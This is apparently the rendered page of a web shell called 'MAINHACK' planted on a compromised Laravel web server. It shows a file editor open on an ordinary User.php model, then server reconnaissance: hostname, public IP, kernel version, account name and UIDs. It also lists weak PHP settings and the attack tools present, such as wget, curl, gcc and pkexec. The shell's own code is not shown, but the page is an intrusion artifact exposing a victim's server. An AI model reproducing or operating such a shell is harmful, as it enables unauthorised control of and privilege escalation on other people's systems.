[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: User.php
<?php namespace App\Models; use App\Enums\Activity; use App\Enums\Ask; use App\Enums\Status; use App\Models\Address; use App\Models\Scopes\BranchScope; use App\Traits\MultiTenantModelTrait; use Laravel\Sanctum\HasApiTokens; use Spatie\MediaLibrary\HasMedia; use Spatie\Permission\Models\Role; use Spatie\Permission\Traits\HasRoles; use Illuminate\Notifications\Notifiable; use Spatie\MediaLibrary\InteractsWithMedia; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Database\Eloquent\SoftDeletes; class User extends Authenticatable implements HasMedia { use InteractsWithMedia; use HasApiTokens; use HasFactory; use HasRoles; use MultiTenantModelTrait; use Notifiable; use SoftDeletes; /** * The attributes that are mass assignable. * * @var array<int, string> */ protected $table = "users"; protected $dates = ['deleted_at']; protected $fillable = [ 'name', 'email', 'password', 'username', 'phone', 'branch_id', 'country_code', 'is_guest', 'status', 'email_verified_at' ]; /** * The attributes that should be cast. * * @var array<string, string> */ protected $casts = [ 'id' => 'integer', 'name' => 'string', 'email' => 'string', 'password' => 'string', 'username' => 'string', 'phone' => 'string', 'branch_id' => 'integer', 'country_code' => 'string', 'is_guest' => 'integer', 'status' => 'integer', 'email_verified_at' => 'datetime', ]; /** * The attributes that should be hidden for serialization. * * @var array<int, string> */ protected $hidden = [ 'password', 'remember_token', ]; protected $appends = ['myrole']; protected static function boot() { parent::boot(); static::addGlobalScope(new BranchScope()); static::updating(function ($user) { if ($user->id === 1) { $user->status = Status::ACTIVE; } }); } public function getMyRoleAttribute() { return $this->roles->pluck('id', 'id')->first(); } public function getrole(): \Illuminate\Database\Eloquent\Relations\HasOne { return $this->hasOne(Role::class, 'id', 'myrole'); } public function addresses(): \Illuminate\Database\Eloquent\Relations\HasMany { return $this->hasMany(Address::class); } public function getFirstNameAttribute(): string { $name = explode(' ', $this->name, 2); return $name[0]; } public function getLastNameAttribute(): string { $name = explode(' ', $this->name, 2); return !empty($name[1]) ? $name[1] : ''; } public function getImageAttribute(): string { if (!empty($this->getFirstMediaUrl('profile'))) { return asset($this->getFirstMediaUrl('profile')); } return asset('images/default/profile.png'); } public function orders(): \Illuminate\Database\Eloquent\Relations\HasMany { return $this->hasMany(Order::class, 'user_id', 'id'); } public function messages(): \Illuminate\Database\Eloquent\Relations\HasMany { return $this->hasMany(MessageHistory::class, 'user_id', 'id')->where('is_read', Ask::NO); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002